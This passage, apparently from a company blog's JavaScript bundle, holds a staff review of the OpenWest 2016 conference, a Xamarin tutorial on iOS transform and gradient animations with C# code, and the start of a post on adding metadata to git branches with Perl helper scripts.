1 the force of the open source community was present\nand strong in the panels and talks, and there were more than enough to\nchoose from. I made it a goal to attend at least two interesting\ntopics a day. By the end of day 3 I had been exposed to a number of\nnew topics and heard conversations on subjects that allowed me to\nrethink or reinforce my stance on how I viewed them. In this way, it\nwas a fantastic professional experience and I foresee myself making an\neffort to attend at least one conference annually to stay on top of\nthings.\n\nMeeting my fellow coworkers and friends was a real treat as well. I\nfound no shortage of good conversation and company; never did I feel\nleft behind or unwelcome to attend the dinner and lunch events, and\nthose who had vehicles regularly checked in to make sure that I didnât\nend up walking down a street alone (unless I wanted to). Late night\nchats that consisted of professional and life topics were one of my\nfavorite activities of the conference, as were the daily lunch and\ndinner get-togethers; the latter exposed us to a couple of restaurants\nseen on Diners, Drive-Ins and Dives, which as a foodie I have an\nobligation to say was fun (and it was, trust me). Whether they were or\nwere not the best places to eat in Utah is debatable, but the good\nquality of my dinner company was not.\n\nThe [Biz Games](http://www.thebizgames.com/utah/) next door were\nnoteworthy as well, and great to participate in whenever there was no\npanel that I wanted to attend. I climbed rock walls, played classic\narcade games, shot some hoops, participated with my coworker Alex in\nBumper Balls and Pickle Ball, and much more. It was a fantastic way to\nwaste energy and burn a few calories. The main room of the actual\nOpenWest conference also had some fun activities that included\nhacking, lock-picking, and battle-bots. I learned how to pick simple\nlocks - should I put it on my resume?\n\nTo sum it up:\n\n- Great professional experience\n- Fantastic group of people\n- Good Fun\n- Food and games\n\nI had a great time. Thank you all for having me. I hope to bump into\neveryone again sometime next year.\n\n### Brian commented on a few of his favorite talks.\n\nOpenWest 2016 gave me an opportunity to learn from some wonderful\nspeakers. These were people that I knew â or at least knew of â from\nTwitter, and I wanted to learn from them. I enjoyed each talk I\nattended, but if I had to pick favorites Iâd go with these three.\n\nâCaching on the Bleeding Edgeâ by\n[Samantha Qui\xf1ones](https://twitter.com/ieatkillerbees) presented a\ndetailed overview of the âgeography of dataâ â memory architecture,\nhistory, algorithms, and useful tools that factor into caching Web\napplications, from Memcached and Redis to Elasticsearch and â OK, let\nme stop myself here and just say it was my favorite technical talk.\n\n[Graham Daniels](https://twitter.com/greydnls) talked about âLife\nDriven Developmentâ with many suggestions related to improving work /\nlife balance, both for employers and employees. He explicitly reminded\nus that âA conference is not a vacation,â and told employers âif you\nsee your employees committing code at midnight tell them to stop.â\n\n[Josh Simmons](https://twitter.com/joshsimmons) used his âFail Early,\nFail Often, Fail Wellâ talk to give folks useful techniques for\nminimizing failure â a key repeating concept was âknow the\nfundamentals of your businessâ â and how to handle failure gracefully,\nprimarily by taking responsibility and sharing your lessons.\n\n### This is Treyâs review.\n\nComfort: 8/10\n\nThe South Town Expo Center in Sandy was well set up. I always found a\nseat, a power outlet and WiFi. I could hear the presenters easily in\nmost of the conference rooms, though the curtained off rooms in the\nmain section were a little noisy. The A/V quality of the keynote\nspeakers varied a bit but it was acceptable. The walk from the hotel\nwas quick and pleasant.\n\nFreebies: 9/10\n\nAbout 2 dozen vendors handed out free swag and candy.\n\nPresentations: 10/10\n\nWith over 100 presentations available I certainly found many that\ninterested me. I would have liked to attend twice as many as I did. Of\nthe presentations I attended, our own John SJ Andersonâs âA Modest\nIntroduction to Swiftâ and Rob Martin of OC Tanner Companyâs âWhy Be\nFunctionalâ stood out.\n\nSocial: 5/10\n\nI think a large scale mixer event like a banquet, a game night, or a\nmovie night like they offer at YAPC would have enhanced the conference\nexperience. While I felt welcome and the facilities were handicap\naccessible, the sausage.land domain name used in the CTF challenge\nstruck me as embarrassing and unnecessary.\n\nOverall: 8/10\n\n### Mike highlighted some of his favorite parts\n\nI had the privilege of attending OpenWest last year, where Dan\nCallahan gave an excellent talk on the Rust programming language. This\nyear, I was similarly wowed by his talks covering the latest\ndevelopments in browser technology â particularly service workers. If\nyouâve not yet read up on or played around with service workers, I\nhighly recommend it. I believe that service workers will soon be\nplaying a big part in modern web applications, especially single page\napps. Architecturally, service workers sit in between a web\napplication and the network â think of a service worker as a\nclient-side HTTP proxy written in JavaScript. Apart from the control\nthis enables the web developer to have over the behavior of a modern\nweb application, it enhances the mobile experience considerably by\nbringing a more native app-like feel to the mobile web.\n\nDocker is gaining new features every day and Dockerâs Jeff Andersonâs\nwas on hand to share some of the latest developments with us. Docker\nMachine, Docker Compose, and Docker Swarm are new tools for\norchestrating and deploying distributed containerized applications. If\nyouâve worked with Amazonâs EC2 Container Service (ECS), the\nabstractions in Machine, Compose, and Swarm will be familiar to you.\nThe most exciting thing I took away from Docker Machine was the\nprovider abstraction. What Vagrant does for hypervisors, Docker\nMachine hopes to do for cloud providers. My hope is that Docker\nMachine will eventually make moving applications around cloud\nproviders as easy as hypervisors have made moving applications around\nservers. Another exciting addition in Docker 1.8 is Docker Content\nTrust, which brings digital signature to Docker images for the first\ntime. This is great news for Docker users â Docker Hub contains a bevy\nof prepackaged images. Docker Content Trust will help verify the\nintegrity of this content.\n\nOpenWest 2016 offered a great mix of technologies by many excellent\nspeakers. I got a lot out of it and I hope to return in 2017.\n\n### Eric had some thoughts, too.\n\nOpenWest was my first large general developer conference, and I think\nit was a great one to get started. The couple thousand attendees made\nit a large conference with all the amenities (extensive vendor tables,\nhackerâs lab, dedicated game room, long bathroom lines between\nsessions) but the dozen or so tracks made each session small and\npersonable.\n\nI tend to be a utility infielder when it comes to tech work. (I tend\nto be the same when playing ball, come to think of it.) This\nconference played right into that tendency by letting me float among\nall the different tracks available. My current project at work has me\nQAing lots of code written by non-II developers, and so I went to\nseveral sessions on improving the QA/dev interaction and overviews of\nseveral of the tools of the QA trade. I dabble in a variety of\nlanguages, and I got to see presentations on various types of\nJavascript, Perl, Swift, Python, and good olâ bash. I also like to do\nnerdy things outside of work, and was delighted to see a track devoted\nto ânerd lifeâ. This was my favorite part of the conference, and why I\nthink any tech-minded person should consider attending. In this track\nI got to watch someone talk about the history and importance of the\nvenerable game Nethack, while he was playing through it live. I saw\nsomeone show off the many, many things you can do around the house\nwith a Raspberry Pi (including building a smart âmagic mirrorâ). I\ndidn't go to this one, since I have long lost the ability to write\nfreehand, but the track even had a session on fountain pens.\n\n
1I really enjoyed hanging out in the hackerâs lab, too. The first day I\ncalled on all the skills I learned playing countless hours of Skyrim\nto pick a few Masterlocks to win points toward circuit components. I\nwas the first one on the II crew to win my components and solder them\nonto my name badge to get a working mini-computer. It was a small\nvictory, but when you work with a crew of geniuses like those at\nInfinity Interactive, youâve got to hold on tight to those small\nvictories.\n\nIt was a great experience, and I'm already looking forward to\nreturning in 2017.\n\n## Bring it on home\n\nBe it the talks, the hardware hacking, or the socializing, everyone at\nInfinity Interactive had a great time and came away with a unique\nexperience. We are inspired and excited for the next chance to apply\nany and all of the knowledge we obtained while at OpenWest.\n\nFor my fellow co-workers, this is Jake saying âSee ya next year,\nOpenWestâ.\n\n\n",icon:ec.A,color:"blue"},ep={slug:"xamarin-ios-animations-part-two",title:"iOS Animations in Xamarin - part 2",excerpt:"Learn about several animation techniques to use in your Xamarin/iOS projects",authors:["Will Hutchinson"],publishDate:new Date("2016-07-06"),category:"Development",tags:["Technology","Xamarin","C Sharp","Animation"],readTime:"15 min read",content:"<div class=\"float:right\">\n <img src=\"/content/images/blogs/xamarin-ios-animations/taxchat-callout-two.png\"\n alt=\"TaxChat summary screen\"\n title=\"TaxChat summary screen\"\n width=\"250\"\n />\n</div>\n\nWe're back with the second part of our post on iOS Animations in\nXamarin. In this post I'm detailing some of the animations seen in\n[TaxChat](https://itunes.apple.com/us/app/taxchat-its-as-simple-as-chat/id1074073261?mt=8),\nan iOS App we recently launched. In\n[the first part](/resources/blog/ios-animations-in-xamarin)\nwe discussed `AnimateNotify`, `AnimateKeyframes` and\n`AddKeyframeWithRelativeStartTime`. In this continuation we will look\nat animating rotation and scale using\n[CGAffineTransform](https://developer.xamarin.com/api/type/MonoMac.CoreGraphics.CGAffineTransform/),\nthen animating a\n[CAGradientLayer](https://developer.xamarin.com/api/type/MonoTouch.CoreAnimation.CAGradientLayer/)\nusing\n[CABasicAnimation](https://developer.xamarin.com/api/type/CoreAnimation.CABasicAnimation/).\n\n\x3c!-- cut --\x3e\n\n## Transform animation\n\n<video class=\"float:left\" width=\"250\" poster=\"/content/images/blogs/xamarin-ios-animations/TaxChat-ProcessingPayment.png\" autoplay controls>\n <source src=\"/content/images/blogs/xamarin-ios-animations/TaxChat-ProcessingPayment.webm\" type=\"video/webm\">\n <source src=\"/content/images/blogs/xamarin-ios-animations/TaxChat-ProcessingPayment.mp4\" type=\"video/mp4\">\n</video>\n\nIn this video comp we're going to take a look at the payment\nprocessing screen, which is similar to the last screen we reviewed in\nthe previous post, in the fact that it's chaining together multiple\nanimation blocks and relying on information from the server to move\nforward. This screen is laid out in the storyboard like the first\nscreen we discussed in post one. All the elements are inside of a\ncontainer `UIView` that has the necessary constraints placed on it, so\nwe don't have to worry about updating any constraints. The one thing\nin this animation that's different is there are a couple of transforms\nbeing used, so that is what we'll focus on.\n\nThe transforms we're animating are the rotation of the circular\nprogress bar and the scale of the check mark. There's a fair amount of\nanimation code for this screen and since most of it is similar to what\nhas already been discussed, I'm going to just point out the transform\nanimation sections. For the circular progress bar we're using five\nelements: one is the gray background ring and then four gold quarter\nsection rings. The four quarter section gold rings all fade in on the\ntop right corner, then each rotates around to its appropriate position\nto create the full gold ring.\n\nWhen the screen appears we'll call `AnimateProcessing` and start the\nanimation. We're using `AnimateKeyframes` and\n`AddKeyframeWithRelativeStartTime` again to stagger our animations. In\nthe first keyframe block we're fading in our gray background ring and\nin the second block we fade in all our gold quarter rings. To make the\nrotations we need to create a `CGAffineTransform`. Below you'll see\nthat in the third keyframe block we're using\n`CGAffineTransform.MakeRotation(ConvertToRadians(90))`. The rotation\ntransforms use radians, so we'll be converting degrees to radians.\n`ConvertToRadians` is a method to do this conversion. You can find it\nbelow the `AnimateProcessing` method. So in the third keyframe block\nwe're rotating the bottom right, bottom left and top left quarter\nrings 90 degrees to the bottom right position. In the fourth block\nwe're using\n`CGAffineTransform.Rotate(TopLeftImage.Transform, ConvertToRadians(90))`\nto rotate the bottom left and top left quarter rings 90 degrees\nfurther to the bottom left position. `CGAffineTransform.Rotate` takes\na transform and an angle as parameters then adds the given angle to\nthe transform's rotation, essentially making the rotation here 180\ndegrees. Then in the fifth block we rotate the top left quarter around\nto its final position, completing the gold ring. In the end it looks\nas though the gold is simply filling in the gray ring. I'm sure there\nare other ways to accomplish this, but for what the designers wanted\nthis worked out well for me.\n\n```csharp\nvoid AnimateProcessing()\n{\n // AnimateKeyframes ( duration, delay, options, animations, completion )\n UIView.AnimateKeyframes (2.1, 0, UIViewKeyframeAnimationOptions.CalculationModeLinear, () =>\n {\n // AddKeyframeWithRelativeStartTime ( start time, duration, animations )\n // start time and duration 0-1 as percentage of wrapping AnimateKeyframes duration\n UIView.AddKeyframeWithRelativeStartTime (0, 0.05, () =>\n {\n ProcessingImage.Alpha = 1f; // fade in gray background ring\n });\n\n UIView.AddKeyframeWithRelativeStartTime (0.15, 0.25, () =>\n {\n // fade in gold quarter rings\n TopRightImage.Alpha = 1f;\n BottomRightImage.Alpha = 1f;\n BottomLeftImage.Alpha = 1f;\n TopLeftImage.Alpha = 1f;\n });\n\n UIView.AddKeyframeWithRelativeStartTime (0.15, 0.35, () =>\n {\n CGAffineTransform transform = CGAffineTransform.MakeRotation (ConvertToRadians(90));\n BottomRightImage.Transform = transform;\n BottomLeftImage.Transform = transform;\n TopLeftImage.Transform = transform;\n });\n\n UIView.AddKeyframeWithRelativeStartTime (0.35, 0.35, () =>\n {\n CGAffineTransform transform = CGAffineTransform.Rotate (TopLeftImage.Transform, ConvertToRadians(90));\n BottomLeftImage.Transform = transform;\n TopLeftImage.Transform = transform;\n });\n\n UIView.AddKeyframeWithRelativeStartTime (0.6, 0.35, () =>\n {\n CGAffineTransform transform = CGAffineTransform.Rotate (TopLeftImage.Transform, ConvertToRadians(90));\n TopLeftImage.Transform = transform;\n });\n },\n (finished) =>\n {\n if (creditCardChargeResult.Complete)\n {\n if(creditCardChargeResult.Success)\n {\n ProcessingImage.Image = UIImage.FromFile(\"Return/-g-icon-payment-progress-full.png\");\n TopRightImage.Alpha = 0f;\n BottomRightImage.Alpha = 0f;\n BottomLeftImage.Alpha = 0f;\n TopLeftImage.Alpha = 0f;\n\n AnimateProcessingOut();\n }\n else\n {\n // show error and go back\n ShowDialog(\"Error\",\"Could not charge Credit Card.\\n Please verify information and try again\");\n NavigationController.PopViewController (true);\n }\n }\n else\n {\n RestartProcessing();\n }\n });\n}\n\nnfloat ConvertToRadians(nfloat angle)\n{\n return (nfloat)((Math.PI / 180f) * angle);\n}\n```\n\nWhen the above animation is complete, if we do not yet have a credit\ncard charge result we simply rerun the animation by calling\n`RestartProcessing`. In this method we first fade out the quarter\nrings. When that animation completes, we reset the rotation transforms\nback to their original values using `CGAffineTransform.MakeIdentity()`\nthen call `AnimateProcessing` again.\n\n```csharp\nvoid RestartProcessing()\n{\n // AnimateNotify ( duration, delay, options, animations, completion )\n UIView.AnimateNotify (0.2, 0, UIViewAnimationOptions.CurveLinear, () =>\n {\n TopRightImage.Alpha = 0f;\n BottomRightImage.Alpha = 0f;\n BottomLeftImage.Alpha = 0f;\n TopLeftImage.Alpha = 0f;\n },\n (finished) =>\n {\n BottomRightImage.Transform = CGAffineTransform.MakeIdentity();\n BottomLeftImage.Transform = CGAffineTransform.MakeIdentity();\n TopLeftImage.Transform = CGAffineTransform.MakeIdentity();\n AnimateProcessing();\n });\n}\n```\n\nOur last transform animation is the scaling of the check mark shown\nwhen the charge has been approved. In `AnimateProcessing` above, if\nour credit card charge is successful, we update our gray background\nring to use a full gold ring image then fade out all four of our\nquarter rings and call `AnimateProcessingOut`. This method sets us up\nfor the check mark to scale in
1with the bounce at the end and send us\noff to our next screen. Here we are using\n`CGAffineTransform.MakeScale` which takes an x and y value that\nspecifies a percentage of the current size. We'll animate the scale of\nour now full gold ring down to 75%. On completion of that animation,\nwe'll then swap our gold ring image for our check mark and call\n`AnimateCongrats`.\n\n```csharp\nvoid AnimateProcessingOut()\n{\n // AnimateNotify ( duration, delay, options, animations, completion )\n UIView.AnimateNotify (0.25, 0, UIViewAnimationOptions.CurveLinear, () =>\n {\n TitleLabel.Alpha = 0f;\n CGAffineTransform transform = CGAffineTransform.MakeScale(0.75f, 0.75f);\n ProcessingImage.Transform = transform;\n },\n (finished) =>\n {\n TitleLabel.Text = \"Congrats, you're done!\";\n ProcessingImage.Image = UIImage.FromFile(\"Return/-g-icon-payment-congrats.png\");\n AnimateCongrats();\n });\n}\n```\n\nIn `AnimateCongrats` we'll use `AnimateNotify` with our spring damping\nand velocity options. Here we want more of a bounce than with the\nchevron animations, so we're using 0.6 for damping and 50 for the\nvelocity. Then we just set our scale back to 1, and we're good to go.\n\n```csharp\nvoid AnimateCongrats()\n{\n // AnimateNotify ( duration, delay, spring damping, spring velocity, options, animations, completion )\n UIView.AnimateNotify (0.25, 0, 0.6, 50.0, 0, () =>\n {\n CGAffineTransform transform = CGAffineTransform.MakeScale(1f, 1f);\n ProcessingImage.Transform = transform;\n }, null);\n\n // AddKeyframeWithRelativeStartTime ( start time, duration, animations )\n // start time and duration 0-1 as percentage of wrapping AnimateKeyframes duration\n UIView.AnimateKeyframes (2, 0, UIViewKeyframeAnimationOptions.CalculationModeLinear, () =>\n {\n UIView.AddKeyframeWithRelativeStartTime (0, 0.125, () => {\n TitleLabel.Alpha = 1;\n });\n },\n (finished) =>\n {\n ShowExpertScreen();\n });\n}\n```\n\nAnother thing to mention about the above is that I'm using a separate\n`AnimateKeyframes` block for the label. This is because we want the\nspring animation for the check mark but not the label, so those\nanimations need to be separate. The reason behind using\n`AnimateKeyframes` with a nested `AddKeyframeWithRelativeStartTime`\nblock for just one simple animation is all about timing. We want to\nhold for a second or two after the final animation is finished before\nwe go to the next screen. In `AnimateKeyframes` we're specifying an\noverall duration of 2 seconds. In our\n`AddKeyframeWithRelativeStartTime` block we're specifying a relative\nduration of 0.125 which is 0.25 seconds. That leaves us 1.75 seconds\nafter the animation is finished before our completion gets called.\n\n## Animating with CABasicAnimation\n\n### Creating a CAGradientLayer\n\n<video class=\"float:left\" width=\"250\" poster=\"/content/images/blogs/xamarin-ios-animations/TaxChat-Summary.png\" controls>\n <source src=\"/content/images/blogs/xamarin-ios-animations/TaxChat-Summary.webm\" type=\"video/webm\">\n <source src=\"/content/images/blogs/xamarin-ios-animations/TaxChat-Summary.mp4\" type=\"video/mp4\">\n</video>\n\nThe animation in this comp is relatively simple. We have a label that\npops in over a gold/orange background, then it slides up into place\nand the background fades out revealing the rest of the screen. The one\nthing about this animation that makes it a little more interesting is\nthat the background is a gradient. We're making this gradient in code,\nso it's a `CAGradientLayer` instead of a `UIImage`, which means it has\nto be animated a bit differently. Let's take a look at how we're\ncreating the gradient.\n\n```csharp\ngradient = new CAGradientLayer(); // class level CAGradientLayer gradient\ngradient.Frame = UIScreen.MainScreen.Bounds;\ngradient.Colors = new CGColor[]{ UIColor.Yellow.CGColor, UIColor.Orange.CGColor };\ngradient.StartPoint = new CGPoint(0, 0);\ngradient.EndPoint = new CGPoint(1, 1);\n```\n\nFirst we create our new `CAGradientLayer` and set its `Frame` to the\nsize of the screen. After that, we're setting its `Colors` with a\n`CGColor` array. The colors we specify in the array will be used in\nthe order given to create the gradient. Though it's hard to see in the\ncomp, the gradient is running diagonal from the top left to the bottom\nright corner. By Default, gradients run vertical from top to bottom.\nTo adjust the direction we need to specify a `StartPoint` and\n`EndPoint`. These are both set as a `CGPoint` with x and y values\nbetween 0 and 1. Looking at our `gradient.Frame`, `CGPoint(0, 0)` is\nthe top left corner and `CGPoint(1, 1)` is the bottom right corner. So\nif we switch the `EndPoint` to `CGPoint(1, 0)`, which would be the top\nright corner, then the gradient will run horizontal from left to\nright. Changing our `EndPoint` to `CGPoint(1, 0.5)` will run the\ngradient on a line from the top left corner to the middle of the right\nside.\n\nAnother thing to mention about creating a gradient is the\n[Locations](https://developer.apple.com/library/ios/documentation/GraphicsImaging/Reference/CAGradientLayer_class/#//apple_ref/occ/instp/CAGradientLayer/locations)\nproperty. Even though we're not using it here, it's nice to know.\n`Locations` lets us specify the gradient stop of each color in\n`Colors` with an NSNumber array. The value set for each gradient stop\nmust be between 0 and 1 and should be monotonically increasing. If\
1n`Locations` are not specified, the stops are spread uniformly across\nthe range.\n\n```csharp\n// default stops for two colors\ngradient.Locations = new NSNumber[]{ 0, 1 };\n\n// default stops for three colors\ngradient.Locations = new NSNumber[]{ 0, 0.5, 1};\n```\n\n### Screen layout\n\nNow that we have our gradient, let's take a look at the layout. We're\nbuilding this entire screen in code! In `ViewDidLoad` we add our\n`UIScrollView` to the `View`, then create and add our content views to\nthe `UIScrollView`.\n\n```csharp\nscrollView = new UIScrollView(UIScreen.MainScreen.Bounds); // class level UIScrollView scrollView\nView.AddSubview(scrollView);\n\n// create content views here\n\n// add content views\nscrollView.AddSubviews(topView, mainReturnTableView, bottomView);\n```\n\nAfter that we add the gradient and label on top. Since the gradient is\na `CAGradientLayer` and not a `UIView`, we must add it as such using\n`Layer.InsertSublayer()`. `InsertSublayer()` takes two parameters: the\nlayer we want to add (`gradient`), and the position we want that layer\nadded (`scrollView.Subviews.Length`). Using 0 for the position will\nplace the layer at the bottom, below the previously added views. To\nposition the layer above the other views we'll use `Subviews.Length`.\nThen we'll add the label after the gradient.\n\n```csharp\nscrollView.Layer.InsertSublayer(gradient, scrollView.Subviews.Length);\n\n// create titleLabel here with other settings\ntitleLabel.Transform = CGAffineTransform.MakeScale(0.75f, 0.75f);\ntitleLabel.Alpha = 0;\nscrollView.AddSubview(titleLabel);\n```\n\n### Animating the label\n\nWith the screen set up we can move on to the animation. When we create\nthe `titleLabel` we set its `Alpha` to 0 and scale to 0.75 which is\nits starting point in the animation. In `ViewDidAppear` we call the\nmethod that handles the animation. I'm going to break what this method\nis doing down into smaller parts. Right now when the view becomes\nvisible we will only see the gradient filling the screen. The first\nthing we need to do is animate the label in. To do this we'll use\n`Animate` to fade it in and `AnimateNotify` with the spring options,\ndiscussed previously in part 1 of this post, for the scale.\n\n```csharp\n// animate label in\nUIView.Animate(0.1, ()=> { titleLabel.Alpha = 1; });\n\n// AnimateNotify ( duration, delay, spring damping, spring velocity, options, animations, completion )\nUIView.AnimateNotify(0.25, 0.25, 0.6f, 2.0f, UIViewAnimationOptions.CurveLinear, () =>\n{\n titleLabel.Transform = CGAffineTransform.MakeScale(1, 1);\n titleLabel.Alpha = 1;\n},\n(finished) =>\n{\n // animate label up\n});\n```\n\nWhen that finishes, we animate the label up to its permanent position.\n\n```csharp\n// animate label up\nUIView.AnimateNotify(0.5, 0.5, UIViewAnimationOptions.CurveEaseInOut, () =>\n{\n titleLabel.Frame = new CGRect(itemInset, 100, itemWidth, 60);\n},\n(completed) =>\n{\n // start gradient animation\n});\n```\n\n### Animating the CAGradientLayer\n\nHere's where things change. Once the label is in place, we want to\nfade out our gradient so everything is visible. `CAGradientLayer`\nhappens to use `Opacity` instead of `Alpha`, but that's not the big\ndifference. If we try to animate the `Opacity` using one of the\n`UIView` animation methods it won't work; it'll skip right to our end\nresult. To animate a\n[CALayer](https://developer.xamarin.com/api/type/MonoTouch.CoreAnimation.CALayer/),\nwhich is the base class of `CAGradientLayer`, we need to use\n`CABasicAnimation`.\n\nTo animate the `Opacity` of our gradient, we need to first set up our\nanimation as follows:\n\n```csharp\n// create opacity animation for gradient layer\nCABasicAnimation gradientAnimation = CABasicAnimation.FromKeyPath (\"opacity\");\ngradientAnimation.TimingFunction = CAMediaTimingFunction.FromName(CAMediaTimingFunction.EaseOut);\ngradientAnimation.From = NSNumber.FromFloat(1f);\ngradientAnimation.To = NSNumber.FromFloat(0f);\ngradientAnimation.Duration = 0.25;\ngradientAnimation.FillMode = CAFillMode.Forwards;\ngradientAnimation.RemovedOnCompletion = false;\n\n// on gradient animation stop, get scrollView content height and hide gradient\ngradientAnimation.AnimationStopped += (sender, e) => {\n GetContentHeight();\n gradient.Hidden = true;\n};\n```\n\nAbove, we are creating our `gradientAnimation` using\n`CABasicAnimation.FromKeyPath()`. `FromKeyPath()` takes a string\nspecifying the property you are animating. Here's a list of\
1n[CALayer Animatable Properties](https://developer.apple.com/library/ios/documentation/Cocoa/Conceptual/CoreAnimation_guide/AnimatableProperties/AnimatableProperties.html)\nfrom Apple. We then set the\n[CAMediaTimingFunction](https://developer.xamarin.com/api/type/MonoTouch.CoreAnimation.CAMediaTimingFunction/)\nto `EaseOut` with `CAMediaTimingFunction.FromName()`. Next we tell the\nanimation its starting value (`From` an `Opacity` of 1), ending value\n(`To` an `Opacity` of 0) and `Duration` (0.25 seconds). Then we set\nthe\n[CAFillMode](https://developer.xamarin.com/api/type/MonoTouch.CoreAnimation.CAFillMode/)\nto `Forwards`, so that the animation holds on its final value. Last\nbut not least, we set `RemovedOnCompletion` to `false` so the\nanimation is not removed on completion, because if it does get\nremoved, our `Opacity` will go back to its start value before the\nanimation occurred. We can also set an `AnimationStopped` event\nlistener. When our animation does stop we'll get the content height of\n`scrollView` and hide the gradient since it's no longer needed.\n\nOK, now that we have the opacity animation created, we just have to\nadd it to our gradient when we're ready. So let's go back to the\ncompletion block after the label animates up into place and start the\nopacity animation for the gradient (`gradientAnimation`). To start the\nanimation we'll add it to the gradient using `AddAnimation()`, which\ntakes an animation and a string. The string is used as an identifier\nfor the animation. You can use `null` if you don't need the\nidentifier.\n\n```csharp\n// start gradient animation\ngradient.AddAnimation(gradientAnimation, null);\n```\n\nCongrats, you're done! I hope you enjoyed this post and that it's\ngiven you a better understanding of animating for iOS in Xamarin. If\nyou'd like to see these in action, feel free to download\n[TaxChat](https://itunes.apple.com/us/app/taxchat-its-as-simple-as-chat/id1074073261?mt=8)\nand take a peek. You can run through the first few screens discussed\nin part one without having to create an account. Cheers!\n",icon:M.A,color:"red"};var em=t(9332);let eg={slug:"git-mo-meta-easily-adding-meta-information-to-git-branches",title:"Git Mo' Meta: Easily Adding Meta Information to Git Branches",excerpt:"From time to time, it comes in handy to tie various types of information (ticket id, bug or feature, task owner, sprint information, deadline, etc.) against a branch.",authors:["Yanick Champoux"],publishDate:new Date("2016-05-25"),category:"Development",tags:["Technology","Perl","Git"],readTime:"7 min read",content:"Often we can get away\nwith just adding them to the branch name, but it can get ludicrous\nreal fast. In those instances,\n'`bugfix/jira-613-sprintD-deadline20160523-by_yanick`' just doesn't\ncut it.\n\n\x3c!-- cut --\x3e\n\n## Rough-in functionality\n\nThe thing is, Git already has a way to attach data to branches. If you\nlook at the `.git/config` file in one of your repositories, you're\nlikely to find stanzas that look like\n\n```ini\n[branch \"master\"]\n remote = origin\n merge = refs/heads/master\n\n[branch \"diagram\"]\n remote = origin\n merge = refs/heads/master\n```\n\nThe keys `remote` and `merge` are used by Git itself. And we don't\neven need to dumpster-dive into the configuration file to look at\nthem:\n\n```shell\n$ git config --get branch.master.remote\norigin\n```\n\nWe can also use `git config` to modify these values. Or — and\nthis is where things get interesting — we can create any other\nkey we want:\n\n```shell\n# set the value\n$ git config branch.diagram.ready-to-share yup\n\n# get the value\n$ git config --get branch.diagram.ready-to-share\nyup\n\n# new key/value pair is now part of the branch stanza\n$ grep -A3 diagram .git/config\n[branch \"diagram\"]\n remote = origin\n merge = refs/heads/master\n ready-to-share = yup\n```\n\nThis mechanism has an unexpected bonus: if branches are renamed, the\ninformation is automatically carried over:\n\n```shell\n# rename branch 'diagram' to 'graph'\n$ git branch -m graph\n\n$ grep -A3 graph .git/config\n[branch \"graph\"]\n remote = origin\n merge = refs/heads/master\n ready-to-share = yup\n```\n\n## Making it nice\n\nSo the functionality is there, but it's not terribly user-friendly.\nThat's something that can be easily fixed.\n\nFirst, to be able to add meta information to a branch, I've written a\nGit helper script called '`git-meta`':\n\n```perl\n#!/usr/bin/env perl\n\npackage App::Git::Meta;\n\nuse 5.10.0;\n\nuse strict;\nuse warnings;\n\nuse Git::Wrapper;\n\nuse Moose;\nuse MooseX::App::Simple;\nuse MooseX::MungeHas 'is_ro';\n\nuse experimental 'signatures';\n\nhas git => sub { Git::Wrapper->new('.') };\n\noption branch => (\n is => 'ro',\n isa => 'Str',\n lazy => 1,\n default => 'HEAD',\n documentation => 'target branch',\n);\n\nparameter key => (\n is => 'ro',\n required => 1,\n);\n\nparameter value => (\n is => 'ro',\n required => 1,\n);\n\nsub run($self) {\n my( $branch ) = $self->git->rev_parse(\n qw/ --abbrev-ref /, $self->branch\n );\n\n $self->git->config(\n \"branch.$branch.\" . $self->key => $self->value\n );\n\n say join ' ', $branch, $self->key, $self->value;\n}\n\n__PACKAGE__->meta->make_immutable;\n\n__PACKAGE__->new_with_options->run unless caller;\n```\n\nArguably, bringing in\n[MooseX::App::Simple](https://metacpan.org/module/MooseX::App::Simple)\nand [Git::Wrapper](https://metacpan.org/module/Git::Wrapper) for such\na small script might be overkill. But, then again, they do away with\nso much mechanical tediousness. It's easy to overlook, because\n(ironically) the script is so short, but `MooseX::App::Simple` does\naway with the pain of parsing the options, _and_ the script's\nparameters, _and_ generating their defaults, _and_ running the script,\n_and_ producing the help menu if required. Sure, the script will take\na few more milliseconds to run, but those are milliseconds well spent.\n\nIn all cases, with that script added to our `$PATH`, we can now\nannotate our branches with ease:\n\n```shell\n# annotate the current branch\n$ git meta ready-to-share yup\ngra
1ph ready-to-share yup\n\n# annotate a different branch\n$ git meta --branch=experimental ready-to-share nope\nexperimental ready-to-share nope\n```\n\nOf course, being able to read it back would be advantageous. So enters\na second script, '`git-show-meta`':\n\n```perl\n#!/usr/bin/env perl\n\npackage App::Git::ShowMeta;\n\nuse 5.10.0;\n\nuse Git::Wrapper;\n\nuse Moose;\n\nuse MooseX::App::Simple;\n\nuse MooseX::MungeHas 'is_ro';\n\nuse Config::GitLike::Git;\nuse List::AllUtils qw/ pairgrep pairmap /;\nuse JSON;\nuse Data::Printer;\n\nuse experimental 'signatures', 'postderef';\n\nhas git => sub { Git::Wrapper->new('.') };\n\noption branch => (\n is => 'ro',\n isa => 'ArrayRef',\n predicate => 'has_branch',\n documentation => 'target branches',\n);\n\nparameter key_filter => ( is => 'ro' );\nparameter value_filter => ( is => 'ro' );\n\noption format => (\n is => 'ro',\n isa => 'Str',\n default => '',\n);\n\nhas git_config => sub {\n Config::GitLike::Git->new->load('.');\n};\n\nsub run($self) {\n\n my %branches;\n $branches{$_->[0]}{$_->[1]} = $_->[2] for pairmap {\n [ ( split /\\./, $a, 2 ), $b ]\n } pairgrep { $a =~ s/^branch\\.// } $self->git_config->%*;\n if ( $self->has_branch ) {\n my %keepers = map {\n $self->git->rev_parse( qw/ --abbrev-ref /, $_ ) => 1\n } $self->branch->@*;\n\n %branches = pairgrep { $keepers{$a} } %branches;\n }\n\n if( my $k = $self->key_filter ) {\n %branches = pairmap { $a => { $k => $b } }\n pairgrep { $b }\n pairmap { $a => $b->{$k} }\n %branches;\n\n if( my $v = $self->value_filter ) {\n %branches = pairgrep { $b->{$k} eq $v } %branches;\n }\n }\n\n if ( $self->format eq 'json' ) {\n say to_json( \\%branches, { canonical => 1, pretty => 1 } );\n }\n elsif ( $self->format eq 'column' ) {\n for my $branch ( sort keys %branches ) {\n for my $key ( sort keys $branches{$branch}->%* ) {\n say join ' ', $branch, $key, $branches{$branch}{$key};\n }\n }\n }\n else {\n p %branches, output => 'stdout';\n }\n}\n\n__PACKAGE__->meta->make_immutable;\n\n__PACKAGE__->new_with_options->run unless caller;\n```\n\nAgain, nothing too esoteric there. We are just querying the Git\nconfiguration file for the meta information in a few helpful ways:\n\n```shell\n# get all meta-information available\n$ git show-meta\n{\n graph {\n merge \"refs/heads/master\",\n remote \"origin\",\n ready-to-share \"yup\",\n },\n master {\n merge \"refs/heads/master\",\n remote 